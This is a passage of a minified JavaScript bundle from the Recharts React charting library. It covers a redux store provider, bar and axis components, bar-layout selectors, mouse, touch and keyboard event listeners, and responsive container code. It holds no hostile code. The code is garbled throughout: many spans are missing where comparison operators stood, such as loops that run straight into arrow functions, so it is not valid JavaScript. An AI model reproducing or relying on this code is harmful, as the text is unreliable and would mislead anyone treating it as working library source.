n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(let i=0;i{const f=Xae(i);return{store:i,subscription:f,getServerState:r?()=>r:void 0}},[i,r]),c=v.useMemo(()=>i.getState(),[i]);nie(()=>{const{subscription:f}=l;return f.onStateChange=f.notifyNestedSubs,f.trySubscribe(),c!==i.getState()&&f.notifyNestedSubs(),()=>{f.tryUnsubscribe(),f.onStateChange=void 0}},[l,c]);const u=n||lie;return v.createElement(u.Provider,{value:l},t)}var cie=sie,uie=new Set(["axisLine","tickLine","activeBar","activeDot","activeLabel","activeShape","allowEscapeViewBox","background","cursor","dot","label","line","margin","padding","position","shape","style","tick","wrapperStyle","radius"]);function fie(e,t){return e==null&&t==null?!0:typeof e=="number"&&typeof t=="number"?e===t||e!==e&&t!==t:e===t}function Y1(e,t){var n=new Set([...Object.keys(e),...Object.keys(t)]);for(var r of n)if(uie.has(r)){if(e[r]==null&&t[r]==null)continue;if(!rie(e[r],t[r]))return!1}else if(!fie(e[r],t[r]))return!1;return!0}function Ao(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.xAxisId)!==null&&n!==void 0?n:sI}function Co(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.yAxisId)!==null&&n!==void 0?n:sI}var die="Invariant failed";function hie(e,t){throw new Error(die)}function vb(){return vb=Object.assign?Object.assign.bind():function(e){for(var t=1;t1&&arguments[1]!==void 0?arguments[1]:0;return(r,i)=>{if(Oe(t))return t;var l=Oe(r)||Vt(r);return l?t(r,i):(l||hie(),n)}},mie=(e,t,n)=>n,vie=(e,t)=>t,pu=G([l1,vie],(e,t)=>e.filter(n=>n.type==="bar").find(n=>n.id===t)),gie=G([pu],e=>e?.maxBarSize),yie=(e,t,n,r)=>r,bie=G([Fe,l1,Ao,Co,mie],(e,t,n,r,i)=>t.filter(l=>e==="horizontal"?l.xAxisId===n:l.yAxisId===r).filter(l=>l.isPanorama===i).filter(l=>l.hide===!1).filter(l=>l.type==="bar")),xie=(e,t,n)=>{var r=Fe(e),i=Ao(e,t),l=Co(e,t);if(!(i==null||l==null))return r==="horizontal"?cb(e,"yAxis",l,n):cb(e,"xAxis",i,n)},wie=(e,t)=>{var n=Fe(e),r=Ao(e,t),i=Co(e,t);if(!(r==null||i==null))return n==="horizontal"?DN(e,"xAxis",r):DN(e,"yAxis",i)},Sie=G([bie,UZ,wie],Gre),Oie=(e,t,n)=>{var r,i,l=pu(e,t);if(l!=null){var c=Ao(e,t),u=Co(e,t);if(!(c==null||u==null)){var f=Fe(e),h=jk(e),{maxBarSize:p}=l,m=Vt(p)?h:p,y,x;return f==="horizontal"?(y=Bl(e,"xAxis",c,n),x=$l(e,"xAxis",c,n)):(y=Bl(e,"yAxis",u,n),x=$l(e,"yAxis",u,n)),(r=(i=qd(y,x,!0))!==null&&i!==void 0?i:m)!==null&&r!==void 0?r:0}}},gI=(e,t,n)=>{var r=Fe(e),i=Ao(e,t),l=Co(e,t);if(!(i==null||l==null)){var c,u;return r==="horizontal"?(c=Bl(e,"xAxis",i,n),u=$l(e,"xAxis",i,n)):(c=Bl(e,"yAxis",l,n),u=$l(e,"yAxis",l,n)),qd(c,u)}},Eie=G([Sie,jk,BZ,Pk,Oie,gI,gie],Jre),Aie=(e,t,n)=>{var r=Ao(e,t);if(r!=null)return Bl(e,"xAxis",r,n)},Cie=(e,t,n)=>{var r=Co(e,t);if(r!=null)return Bl(e,"yAxis",r,n)},_ie=(e,t,n)=>{var r=Ao(e,t);if(r!=null)return $l(e,"xAxis",r,n)},Tie=(e,t,n)=>{var r=Co(e,t);if(r!=null)return $l(e,"yAxis",r,n)},Nie=G([Eie,pu],(e,t)=>{if(!(e==null||t==null)){var n=e.find(r=>r.stackId===t.stackId&&t.dataKey!=null&&r.dataKeys.includes(t.dataKey));if(n!=null)return n.position}}),Mie=G([xie,pu],eae),jie=G([kt,Sx,Aie,Cie,_ie,Tie,Nie,Fe,TZ,gI,Mie,pu,yie],(e,t,n,r,i,l,c,u,f,h,p,m,y)=>{var{chartData:x,dataStartIndex:S,dataEndIndex:w}=f;if(!(m==null||c==null||t==null||u!=="horizontal"&&u!=="vertical"||n==null||r==null||i==null||l==null||h==null)){var{data:O}=m,A;if(O!=null&&O.length>0?A=O:A=x?.slice(S,w+1),A!=null)return ooe({layout:u,barSettings:m,pos:c,parentViewBox:t,bandSize:h,xAxis:n,yAxis:r,xAxisTicks:i,yAxisTicks:l,stackedData:p,displayedData:A,offset:e,cells:y,dataStartIndex:S})}}),Pie=["index"];function gb(){return gb=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var t=v.useContext(yI);if(t!=null)return t.stackId;if(e!=null)return RK(e)},Lie=(e,t)=>"recharts-bar-stack-clip-path-".concat(e,"-").concat(t),Iie=e=>{var t=v.useContext(yI);if(t!=null){var{stackId:n}=t;return"url(#".concat(Lie(n,e),")")}},zie=e=>{var{index:t}=e,n=Rie(e,Pie),r=Iie(t);return v.createElement(fn,gb({className:"recharts-bar-stack-layer",clipPath:r},n))},$ie=["onMouseEnter","onMouseLeave","onClick"],Bie=["value","background","tooltipPosition"],Uie=["id"],Hie=["onMouseEnter","onClick","onMouseLeave"];function Ma(){return Ma=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{dataKey:t,name:n,fill:r,legendType:i,hide:l}=e;return[{inactive:l,dataKey:t,type:i,color:r,value:ip(n,t),payload:e}]},Gie=v.memo(e=>{var{dataKey:t,stroke:n,strokeWidth:r,fill:i,name:l,hide:c,unit:u,tooltipType:f,id:h}=e,p={dataDefinedOnItem:void 0,positions:void 0,settings:{stroke:n,strokeWidth:r,fill:i,dataKey:t,nameKey:void 0,name:ip(l,t),hide:c,type:f,color:i,unit:u,graphicalItemId:h}};return v.createElement(iI,{tooltipEntrySettings:p})});function Wie(e){var t=we(mo),{data:n,dataKey:r,background:i,allOtherBarProps:l}=e,{onMouseEnter:c,onMouseLeave:u,onClick:f}=l,h=mh(l,$ie),p=U1(c,r,l.id),m=H1(u),y=q1(f,r,l.id);if(!i||n==null)return null;var x=Ec(i);return v.createElement(Gr,{zIndex:tae(i,an.barBackground)},n.map((S,w)=>{var{value:O,background:A,tooltipPosition:_}=S,T=mh(S,Bie);if(!A)return null;var j=p(S,w),M=m(S,w),P=y(S,w),R=cn(cn(cn(cn(cn({option:i,isActive:String(w)===t},T),{},{fill:"#eee"},A),x),Wh(h,S,w)),{},{onMouseEnter:j,onMouseLeave:M,onClick:P,dataKey:r,index:w,className:"recharts-bar-background-rectangle"});return v.createElement(ph,Ma({key:"background-bar-".concat(w)},R))}))}function Xie(e){var{showLabels:t,children:n,rects:r}=e,i=r?.map(l=>{var c={x:l.x,y:l.y,width:l.width,lowerWidth:l.width,upperWidth:l.width,height:l.height};return cn(cn({},c),{},{value:l.value,payload:l.payload,parentViewBox:l.parentViewBox,viewBox:c,fill:l.fill})});return v.createElement(lne,{value:t?i:void 0},n)}function Zie(e){var{shape:t,activeBar:n,baseProps:r,entry:i,index:l,dataKey:c}=e,u=we(mo),f=we(P1),h=n&&String(l)===u&&(f==null||c===f),p=h?n:t;return h?v.createElement(Gr,{zIndex:an.activeBar},v.createElement(ph,Ma({},r,{name:String(r.name)},i,{isActive:h,option:p,index:l,dataKey:c}))):v.createElement(ph,Ma({},r,{name:String(r.name)},i,{isActive:h,option:p,index:l,dataKey:c}))}function Qie(e){var{shape:t,baseProps:n,entry:r,index:i,dataKey:l}=e;return v.createElement(ph,Ma({},n,{name:String(n.name)},r,{isActive:!1,option:t,index:i,dataKey:l}))}function Jie(e){var t,{data:n,props:r}=e,i=(t=Ur(r))!==null&&t!==void 0?t:{},{id:l}=i,c=mh(i,Uie),{shape:u,dataKey:f,activeBar:h}=r,{onMouseEnter:p,onClick:m,onMouseLeave:y}=r,x=mh(r,Hie),S=U1(p,f,l),w=H1(y),O=q1(m,f,l);return n?v.createElement(v.Fragment,null,n.map((A,_)=>v.createElement(zie,Ma({index:_,key:"rectangle-".concat(A?.x,"-").concat(A?.y,"-").concat(A?.value,"-").concat(_),className:"recharts-bar-rectangle"},Wh(x,A,_),{onMouseEnter:S(A,_),onMouseLeave:w(A,_),onClick:O(A,_)}),h?v.createElement(Zie,{shape:u,activeBar:h,baseProps:c,entry:A,index:_,dataKey:f}):v.createElement(Qie,{shape:u,baseProps:c,entry:A,index:_,dataKey:f})))):null}function eoe(e){var{props:t,previousRectanglesRef:n}=e,{data:r,layout:i,isAnimationActive:l,animationBegin:c,animationDuration:u,animationEasing:f,onAnimationEnd:h,onAnimationStart:p}=t,m=n.current,y=gp(t,"recharts-bar-"),[x,S]=v.useState(!1),w=!x,O=v.useCallback(()=>{typeof h=="function"&&h(),S(!1)},[h]),A=v.useCallback(()=>{typeof p=="function"&&p(),S(!0)},[p]);return v.createElement(Xie,{showLabels:w,rects:r},v.createElement(vp,{animationId:y,begin:c,duration:u,isActive:l,easing:f,onAnimationEnd:O,onAnimationStart:A,key:y},_=>{var T=_===1?r:r?.map((j,M)=>{var P=m&&m[M];if(P)return cn(cn({},j),{},{x:Rt(P.x,j.x,_),y:Rt(P.y,j.y,_),width:Rt(P.width,j.width,_),height:Rt(P.height,j.height,_)});if(i==="horizontal"){var R=Rt(0,j.height,_),I=Rt(j.stackedBarStart,j.y,_);return cn(cn({},j),{},{y:I,height:R})}var B=Rt(0,j.width,_),q=Rt(j.stackedBarStart,j.x,_);return cn(cn({},j),{},{width:B,x:q})});return _>0&&(n.current=T??null),T==null?null:v.createElement(fn,null,v.createElement(Jie,{props:t,data:T}))}),v.createElement(QL,{label:t.label}),t.children)}function toe(e){var t=v.useRef(null);return v.createElement(eoe,{previousRectanglesRef:t,props:e})}var bI=0,noe=(e,t)=>{var n=Array.isArray(e.value)?e.value[1]:e.value;return{x:e.x,y:e.y,value:n,errorVal:lt(e,t)}};class roe extends v.PureComponent{render(){var{hide:t,data:n,dataKey:r,className:i,xAxisId:l,yAxisId:c,needClip:u,background:f,id:h}=this.props;if(t||n==null)return null;var p=Ye("recharts-bar",i),m=h;return v.createElement(fn,{className:p,id:h},u&&v.createElement("defs",null,v.createElement(Vae,{clipPathId:m,xAxisId:l,yAxisId:c})),v.createElement(fn,{className:"recharts-bar-rectangles",clipPath:u?"url(#clipPath-".concat(m,")"):void 0},v.createElement(Wie,{data:n,dataKey:r,background:f,allOtherBarProps:this.props}),v.createElement(toe,this.props)))}}var aoe={activeBar:!1,animationBegin:0,animationDuration:400,animationEasing:"ease",background:!1,hide:!1,isAnimationActive:"auto",label:!1,legendType:"rect",minPointSize:bI,xAxisId:0,yAxisId:0,zIndex:an.bar};function ioe(e){var{xAxisId:t,yAxisId:n,hide:r,legendType:i,minPointSize:l,activeBar:c,animationBegin:u,animationDuration:f,animationEasing:h,isAnimationActive:p}=e,{needClip:m}=vI(t,n),y=Jc(),x=Vn(),S=B1(e.children,vo),w=we(_=>jie(_,e.id,x,S));if(y!=="vertical"&&y!=="horizontal")return null;var O,A=w?.[0];return A==null||A.height==null||A.width==null?O=0:O=y==="vertical"?A.height/2:A.width/2,v.createElement(Fae,{xAxisId:t,yAxisId:n,data:w,dataPointFormatter:noe,errorBarOffset:O},v.createElement(roe,Ma({},e,{layout:y,needClip:m,data:w,xAxisId:t,yAxisId:n,hide:r,legendType:i,minPointSize:l,activeBar:c,animationBegin:u,animationDuration:f,animationEasing:h,isAnimationActive:p})))}function ooe(e){var{layout:t,barSettings:{dataKey:n,minPointSize:r},pos:i,bandSize:l,xAxis:c,yAxis:u,xAxisTicks:f,yAxisTicks:h,stackedData:p,displayedData:m,offset:y,cells:x,parentViewBox:S,dataStartIndex:w}=e,O=t==="horizontal"?u:c,A=p?O.scale.domain():null,_=DK({numericAxis:O}),T=O.scale(_);return m.map((j,M)=>{var P,R,I,B,q,U;if(p){var V=p[M+w];if(V==null)return null;P=TK(V,A)}else P=lt(j,n),Array.isArray(P)||(P=[_,P]);var oe=pie(r,bI)(P[1],M);if(t==="horizontal"){var le,[ce,L]=[u.scale(P[0]),u.scale(P[1])];R=$_({axis:c,ticks:f,bandSize:l,offset:i.offset,entry:j,index:M}),I=(le=L??ce)!==null&&le!==void 0?le:void 0,B=i.size;var F=ce-L;if(q=Hr(F)?0:F,U={x:R,y:y.top,width:B,height:y.height},Math.abs(oe)>0&&Math.abs(q)0&&Math.abs(B)v.createElement(v.Fragment,null,v.createElement(Yne,{legendPayload:Yie(t)}),v.createElement(Gie,{dataKey:t.dataKey,stroke:t.stroke,strokeWidth:t.strokeWidth,fill:t.fill,name:t.name,hide:t.hide,unit:t.unit,tooltipType:t.tooltipType,id:i}),v.createElement(lre,{type:"bar",id:i,data:void 0,xAxisId:t.xAxisId,yAxisId:t.yAxisId,zAxisId:0,dataKey:t.dataKey,stackId:n,hide:t.hide,barSize:t.barSize,minPointSize:t.minPointSize,maxBarSize:t.maxBarSize,isPanorama:r}),v.createElement(Gr,{zIndex:t.zIndex},v.createElement(ioe,Ma({},t,{id:i})))))}var xI=v.memo(loe,Y1);xI.displayName="Bar";var soe=["domain","range"],coe=["domain","range"];function K2(e,t){if(e==null)return{};var n,r,i=uoe(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r{n.current===null?t(zre(e)):n.current!==e&&t($re({prev:n.current,next:e})),n.current=e},[e,t]),v.useLayoutEffect(()=>()=>{n.current&&(t(Bre(n.current)),n.current=null)},[t]),null}var moe=e=>{var{xAxisId:t,className:n}=e,r=we(Sx),i=Vn(),l="xAxis",c=we(A=>uL(A,l,t,i)),u=we(A=>oL(A,t)),f=we(A=>zQ(A,t)),h=we(A=>Uk(A,t));if(u==null||f==null||h==null)return null;var{dangerouslySetInnerHTML:p,ticks:m,scale:y}=e,x=G2(e,foe),{id:S,scale:w}=h,O=G2(h,doe);return v.createElement(K1,yb({},x,O,{x:f.x,y:f.y,width:u.width,height:u.height,className:Ye("recharts-".concat(l," ").concat(l),n),viewBox:r,ticks:c,axisType:l}))},voe={allowDataOverflow:Ut.allowDataOverflow,allowDecimals:Ut.allowDecimals,allowDuplicatedCategory:Ut.allowDuplicatedCategory,angle:Ut.angle,axisLine:ro.axisLine,height:Ut.height,hide:!1,includeHidden:Ut.includeHidden,interval:Ut.interval,minTickGap:Ut.minTickGap,mirror:Ut.mirror,orientation:Ut.orientation,padding:Ut.padding,reversed:Ut.reversed,scale:Ut.scale,tick:Ut.tick,tickCount:Ut.tickCount,tickLine:ro.tickLine,tickSize:ro.tickSize,type:Ut.type,xAxisId:0},goe=e=>{var t=pn(e,voe);return v.createElement(v.Fragment,null,v.createElement(poe,{allowDataOverflow:t.allowDataOverflow,allowDecimals:t.allowDecimals,allowDuplicatedCategory:t.allowDuplicatedCategory,angle:t.angle,dataKey:t.dataKey,domain:t.domain,height:t.height,hide:t.hide,id:t.xAxisId,includeHidden:t.includeHidden,interval:t.interval,minTickGap:t.minTickGap,mirror:t.mirror,name:t.name,orientation:t.orientation,padding:t.padding,reversed:t.reversed,scale:t.scale,tick:t.tick,tickCount:t.tickCount,tickFormatter:t.tickFormatter,ticks:t.ticks,type:t.type,unit:t.unit}),v.createElement(moe,t))},SI=v.memo(goe,wI);SI.displayName="XAxis";var yoe=["dangerouslySetInnerHTML","ticks","scale"],boe=["id","scale"];function bb(){return bb=Object.assign?Object.assign.bind():function(e){for(var t=1;t{n.current===null?t(Ure(e)):n.current!==e&&t(Hre({prev:n.current,next:e})),n.current=e},[e,t]),v.useLayoutEffect(()=>()=>{n.current&&(t(qre(n.current)),n.current=null)},[t]),null}var Soe=e=>{var{yAxisId:t,className:n,width:r,label:i}=e,l=v.useRef(null),c=v.useRef(null),u=we(Sx),f=Vn(),h=ft(),p="yAxis",m=we(P=>lL(P,t)),y=we(P=>BQ(P,t)),x=we(P=>uL(P,p,t,f)),S=we(P=>Hk(P,t));if(v.useLayoutEffect(()=>{if(!(r!=="auto"||!m||I1(i)||v.isValidElement(i)||S==null)){var P=l.current;if(P){var R=P.getCalculatedWidth();Math.round(m.width)!==Math.round(R)&&h(Fre({id:t,width:R}))}}},[x,m,h,i,t,r,S]),m==null||y==null||S==null)return null;var{dangerouslySetInnerHTML:w,ticks:O,scale:A}=e,_=W2(e,yoe),{id:T,scale:j}=S,M=W2(S,boe);return v.createElement(K1,bb({},_,M,{ref:l,labelRef:c,x:y.x,y:y.y,tickTextProps:r==="auto"?{width:void 0}:{width:r},width:m.width,height:m.height,className:Ye("recharts-".concat(p," ").concat(p),n),viewBox:u,ticks:x,axisType:p}))},Ooe={allowDataOverflow:Ht.allowDataOverflow,allowDecimals:Ht.allowDecimals,allowDuplicatedCategory:Ht.allowDuplicatedCategory,angle:Ht.angle,axisLine:ro.axisLine,hide:!1,includeHidden:Ht.includeHidden,interval:Ht.interval,minTickGap:Ht.minTickGap,mirror:Ht.mirror,orientation:Ht.orientation,padding:Ht.padding,reversed:Ht.reversed,scale:Ht.scale,tick:Ht.tick,tickCount:Ht.tickCount,tickLine:ro.tickLine,tickSize:ro.tickSize,type:Ht.type,width:Ht.width,yAxisId:0},Eoe=e=>{var t=pn(e,Ooe);return v.createElement(v.Fragment,null,v.createElement(woe,{interval:t.interval,id:t.yAxisId,scale:t.scale,type:t.type,domain:t.domain,allowDataOverflow:t.allowDataOverflow,dataKey:t.dataKey,allowDuplicatedCategory:t.allowDuplicatedCategory,allowDecimals:t.allowDecimals,tickCount:t.tickCount,padding:t.padding,includeHidden:t.includeHidden,reversed:t.reversed,ticks:t.ticks,width:t.width,orientation:t.orientation,mirror:t.mirror,hide:t.hide,unit:t.unit,name:t.name,angle:t.angle,minTickGap:t.minTickGap,tick:t.tick,tickFormatter:t.tickFormatter}),v.createElement(Soe,t))},OI=v.memo(Eoe,wI);OI.displayName="YAxis";var Aoe=(e,t)=>t,G1=G([Aoe,Fe,$k,It,CL,za,tee,kt],see),W1=e=>{var t=e.currentTarget.getBoundingClientRect(),n=t.width/e.currentTarget.offsetWidth,r=t.height/e.currentTarget.offsetHeight;return{chartX:Math.round((e.clientX-t.left)/n),chartY:Math.round((e.clientY-t.top)/r)}},EI=fr("mouseClick"),AI=Zc();AI.startListening({actionCreator:EI,effect:(e,t)=>{var n=e.payload,r=G1(t.getState(),W1(n));r?.activeIndex!=null&&t.dispatch(eJ({activeIndex:r.activeIndex,activeDataKey:void 0,activeCoordinate:r.activeCoordinate}))}});var xb=fr("mouseMove"),CI=Zc(),ld=null;CI.startListening({actionCreator:xb,effect:(e,t)=>{var n=e.payload;ld!==null&&cancelAnimationFrame(ld);var r=W1(n);ld=requestAnimationFrame(()=>{var i=t.getState(),l=C1(i,i.tooltip.settings.shared);if(l==="axis"){var c=G1(i,r);c?.activeIndex!=null?t.dispatch(yL({activeIndex:c.activeIndex,activeDataKey:void 0,activeCoordinate:c.activeCoordinate})):t.dispatch(gL())}ld=null})}});function Coe(e,t){return t instanceof HTMLElement?"HTMLElement <".concat(t.tagName,' class="').concat(t.className,'">'):t===window?"global.window":e==="children"&&typeof t=="object"&&t!==null?"<>":t}var X2={accessibilityLayer:!0,barCategoryGap:"10%",barGap:4,barSize:void 0,className:void 0,maxBarSize:void 0,stackOffset:"none",syncId:void 0,syncMethod:"index",baseValue:void 0,reverseStackOrder:!1},_I=An({name:"rootProps",initialState:X2,reducers:{updateOptions:(e,t)=>{var n;e.accessibilityLayer=t.payload.accessibilityLayer,e.barCategoryGap=t.payload.barCategoryGap,e.barGap=(n=t.payload.barGap)!==null&&n!==void 0?n:X2.barGap,e.barSize=t.payload.barSize,e.maxBarSize=t.payload.maxBarSize,e.stackOffset=t.payload.stackOffset,e.syncId=t.payload.syncId,e.syncMethod=t.payload.syncMethod,e.className=t.payload.className,e.baseValue=t.payload.baseValue,e.reverseStackOrder=t.payload.reverseStackOrder}}}),_oe=_I.reducer,{updateOptions:Toe}=_I.actions,TI=An({name:"polarOptions",initialState:null,reducers:{updatePolarOptions:(e,t)=>t.payload}}),{updatePolarOptions:Noe}=TI.actions,Moe=TI.reducer,NI=fr("keyDown"),MI=fr("focus"),X1=Zc();X1.startListening({actionCreator:NI,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip,l=e.payload;if(!(l!=="ArrowRight"&&l!=="ArrowLeft"&&l!=="Enter")){var c=_1(i,os(n),cu(n),du(n)),u=c==null?-1:Number(c);if(!(!Number.isFinite(u)||u<0)){var f=za(n);if(l==="Enter"){var h=uh(n,"axis","hover",String(i.index));t.dispatch(fb({active:!i.active,activeIndex:i.index,activeCoordinate:h}));return}var p=FQ(n),m=p==="left-to-right"?1:-1,y=l==="ArrowRight"?1:-1,x=u+y*m;if(!(f==null||x>=f.length||x<0)){var S=uh(n,"axis","hover",String(x));t.dispatch(fb({active:!0,activeIndex:x.toString(),activeCoordinate:S}))}}}}}});X1.startListening({actionCreator:MI,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip;if(!i.active&&i.index==null){var l="0",c=uh(n,"axis","hover",String(l));t.dispatch(fb({active:!0,activeIndex:l,activeCoordinate:c}))}}}});var ir=fr("externalEvent"),jI=Zc(),n0=new Map;jI.startListening({actionCreator:ir,effect:(e,t)=>{var{handler:n,reactEvent:r}=e.payload;if(n!=null){r.persist();var i=r.type,l=n0.get(i);l!==void 0&&cancelAnimationFrame(l);var c=requestAnimationFrame(()=>{try{var u=t.getState(),f={activeCoordinate:BJ(u),activeDataKey:P1(u),activeIndex:mo(u),activeLabel:NL(u),activeTooltipIndex:mo(u),isTooltipActive:UJ(u)};n(f,r)}finally{n0.delete(i)}});n0.set(i,c)}}});var joe=G([as],e=>e.tooltipItemPayloads),Poe=G([joe,fu,(e,t)=>t,(e,t,n)=>n],(e,t,n,r)=>{var i=e.find(u=>u.settings.graphicalItemId===r);if(i!=null){var{positions:l}=i;if(l!=null){var c=t(l,n);return c}}}),PI=fr("touchMove"),RI=Zc();RI.startListening({actionCreator:PI,effect:(e,t)=>{var n=e.payload;if(!(n.touches==null||n.touches.length===0)){var r=t.getState(),i=C1(r,r.tooltip.settings.shared);if(i==="axis"){var l=n.touches[0];if(l==null)return;var c=G1(r,W1({clientX:l.clientX,clientY:l.clientY,currentTarget:n.currentTarget}));c?.activeIndex!=null&&t.dispatch(yL({activeIndex:c.activeIndex,activeDataKey:void 0,activeCoordinate:c.activeCoordinate}))}else if(i==="item"){var u,f=n.touches[0];if(document.elementFromPoint==null||f==null)return;var h=document.elementFromPoint(f.clientX,f.clientY);if(!h||!h.getAttribute)return;var p=h.getAttribute(cD),m=(u=h.getAttribute(uD))!==null&&u!==void 0?u:void 0,y=is(r).find(w=>w.id===m);if(p==null||y==null||m==null)return;var{dataKey:x}=y,S=Poe(r,p,m);t.dispatch(vL({activeDataKey:x,activeIndex:p,activeCoordinate:S,activeGraphicalItemId:m}))}}}});var Roe=RR({brush:nae,cartesianAxis:Vre,chartData:$ee,errorBars:zae,graphicalItems:ire,layout:SK,legend:PY,options:Dee,polarAxis:yne,polarOptions:Moe,referenceElements:cae,rootProps:_oe,tooltip:tJ,zIndex:See}),Doe=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"Chart";return YV({reducer:Roe,preloadedState:t,middleware:r=>{var i;return r({serializableCheck:!1,immutableCheck:!["commonjs","es6","production"].includes((i="es6")!==null&&i!==void 0?i:"")}).concat([AI.middleware,CI.middleware,X1.middleware,jI.middleware,RI.middleware])},enhancers:r=>{var i=r;return typeof r=="function"&&(i=r()),i.concat(GR({type:"raf"}))},devTools:{serialize:{replacer:Coe},name:"recharts-".concat(n)}})};function DI(e){var{preloadedState:t,children:n,reduxStoreName:r}=e,i=Vn(),l=v.useRef(null);if(i)return n;l.current==null&&(l.current=Doe(t,r));var c=hx;return v.createElement(cie,{context:c,store:l.current},n)}function koe(e){var{layout:t,margin:n}=e,r=ft(),i=Vn();return v.useEffect(()=>{i||(r(bK(t)),r(yK(n)))},[r,i,t,n]),null}var kI=v.memo(koe,Y1);function LI(e){var t=ft();return v.useEffect(()=>{t(Toe(e))},[t,e]),null}function Z2(e){var{zIndex:t,isPanorama:n}=e,r=v.useRef(null),i=ft();return v.useLayoutEffect(()=>(r.current&&i(xee({zIndex:t,element:r.current,isPanorama:n})),()=>{i(wee({zIndex:t,isPanorama:n}))}),[i,t,n]),v.createElement("g",{tabIndex:-1,ref:r})}function Q2(e){var{children:t,isPanorama:n}=e,r=we(uee);if(!r||r.length===0)return t;var i=r.filter(c=>c<0),l=r.filter(c=>c>0);return v.createElement(v.Fragment,null,i.map(c=>v.createElement(Z2,{key:c,zIndex:c,isPanorama:n})),t,l.map(c=>v.createElement(Z2,{key:c,zIndex:c,isPanorama:n})))}var Loe=["children"];function Ioe(e,t){if(e==null)return{};var n,r,i=zoe(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r{var n=gY(),r=yY(),i=AD();if(!Si(n)||!Si(r))return null;var{children:l,otherAttributes:c,title:u,desc:f}=e,h,p;return c!=null&&(typeof c.tabIndex=="number"?h=c.tabIndex:h=i?0:void 0,typeof c.role=="string"?p=c.role:p=i?"application":void 0),v.createElement(ZP,vh({},c,{title:u,desc:f,role:p,tabIndex:h,width:n,height:r,style:$oe,ref:t}),l)}),Uoe=e=>{var{children:t}=e,n=we(cp);if(!n)return null;var{width:r,height:i,y:l,x:c}=n;return v.createElement(ZP,{width:r,height:i,x:c,y:l},t)},J2=v.forwardRef((e,t)=>{var{children:n}=e,r=Ioe(e,Loe),i=Vn();return i?v.createElement(Uoe,null,v.createElement(Q2,{isPanorama:!0},n)):v.createElement(Boe,vh({ref:t},r),v.createElement(Q2,{isPanorama:!1},n))});function Hoe(){var e=ft(),[t,n]=v.useState(null),r=we(BK);return v.useEffect(()=>{if(t!=null){var i=t.getBoundingClientRect(),l=i.width/t.offsetWidth;ht(l)&&l!==r&&e(wK(l))}},[t,e,r]),n}function eM(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function qoe(e){for(var t=1;t(Gee(),null);function gh(e){if(typeof e=="number")return e;if(typeof e=="string"){var t=parseFloat(e);if(!Number.isNaN(t))return t}return 0}var Goe=v.forwardRef((e,t)=>{var n,r,i=v.useRef(null),[l,c]=v.useState({containerWidth:gh((n=e.style)===null||n===void 0?void 0:n.width),containerHeight:gh((r=e.style)===null||r===void 0?void 0:r.height)}),u=v.useCallback((h,p)=>{c(m=>{var y=Math.round(h),x=Math.round(p);return m.containerWidth===y&&m.containerHeight===x?m:{containerWidth:y,containerHeight:x}})},[]),f=v.useCallback(h=>{if(typeof t=="function"&&t(h),h!=null&&typeof ResizeObserver<"u"){var{width:p,height:m}=h.getBoundingClientRect();u(p,m);var y=S=>{var{width:w,height:O}=S[0].contentRect;u(w,O)},x=new ResizeObserver(y);x.observe(h),i.current=x}},[t,u]);return v.useEffect(()=>()=>{var h=i.current;h?.disconnect()},[u]),v.createElement(v.Fragment,null,v.createElement(fp,{width:l.containerWidth,height:l.containerHeight}),v.createElement("div",yo({ref:f},e)))}),Woe=v.forwardRef((e,t)=>{var{width:n,height:r}=e,[i,l]=v.useState({containerWidth:gh(n),containerHeight:gh(r)}),c=v.useCallback((f,h)=>{l(p=>{var m=Math.round(f),y=Math.round(h);return p.containerWidth===m&&p.containerHeight===y?p:{containerWidth:m,containerHeight:y}})},[]),u=v.useCallback(f=>{if(typeof t=="function"&&t(f),f!=null){var{width:h,height:p}=f.getBoundingClientRect();c(h,p)}},[t,c]);return v.createElement(v.Fragment,null,v.createElement(fp,{width:i.containerWidth,height:i.containerHeight}),v.createElement("div",yo({ref:u},e)))}),Xoe=v.forwardRef((e,t)=>{var{width:n,height:r}=e;return v.createElement(v.Fragment,null,v.createElement(fp,{width:n,height:r}),v.createElement("div",yo({ref:t},e)))}),Zoe=v.forwardRef((e,t)=>{var{width:n,height:r}=e;return Ea(n)||Ea(r)?v.createElement(Woe,yo({},e,{ref:t})):v.createElement(Xoe,yo({},e,{ref:t}))});function Qoe(e){return e===!0?Goe:Zoe}var Joe=v.forwardRef((e,t)=>{var{children:n,className:r,height:i,onClick:l,onContextMenu:c,onDoubleClick:u,onMouseDown:f,onMouseEnter:h,onMouseLeave:p,onMouseMove:m,onMouseUp:y,onTouchEnd:x,onTouchMove:S,onTouchStart:w,style:O,width:A,responsive:_,dispatchTouchEvents:T=!0}=e,j=v.useRef(null),M=ft(),[P,R]=v.useState(null),[I,B]=v.useState(null),q=Hoe(),U=Ox(),V=U?.width>0?U.width:A,oe=U?.height>0?U.height:i,le=v.useCallback(Q=>{q(Q),typeof 